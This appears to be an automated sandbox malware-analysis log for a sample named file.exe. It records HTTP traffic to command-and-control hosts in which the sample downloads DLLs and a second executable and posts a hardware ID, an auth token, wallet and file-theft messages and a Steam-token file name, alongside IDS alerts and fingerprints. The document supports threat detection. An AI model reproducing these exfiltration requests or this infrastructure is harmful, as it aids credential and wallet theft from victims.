Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFBKFHCAEHJJKEGDGHHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGIDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="message"wallets------JJJKFBAAAFHJEBFIEGID--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="message"files------EGIDBFBFHJDGCAKEGHJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCFCAAAAFBAKEBFBAKKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 2d 2d 0d 0a Data Ascii: ------CFCFCAAAAFBAKEBFBAKKContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------CFCFCAAAAFBAKEBFBAKKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CFCFCAAAAFBAKEBFBAKKContent-Disposition: form-data; name="file"------CFCFCAAAAFBAKEBFBAKK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 2d 2d 0d 0a Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="message"ybncbhylepme------DAAAFBKECAKEHIEBAFIE--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 2d 2d 0d 0a Data Ascii: ------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HJECAAKKFHCFIECAAAKE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 45 45 36 36 44 45 35 30 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 2d 2d 0d 0a Data Ascii: ------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="hwid"DCEE66DE5039786254513------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="build"tale------DHJEBGIEBFIJKEBFBFHI--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 45 45 36 36 44 45 35 30 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="hwid"DCEE66DE5039786254513------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="build"tale------JDGCGDBGCAAEBFIECGHD--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 45 45 36 36 44 45 35 30 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="hwid"DCEE66DE5039786254513------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="build"tale------IDGIJEGHDAECAKECAFCA--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50011 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50012 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50014 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50015 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50016 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50018 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50017 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50022 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50023 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50020 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50025 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50033 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50038 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50044 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50055 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50059 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50078 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50108 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50104 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50145 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50053 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50171 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50174 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50178 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50179 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50180 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50183 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49766
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.6:49982

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49777 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_003CE0C0 recv,recv,recv,recv,

1_2_003CE0C0

Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418543_1PQIQEA9PYCCTOZ9T&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381714324_1EWZXOYRPJQHWBKEX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381714323_11S06446Z442STKF6&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418544_1U65HGUXV07UFEU5B&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
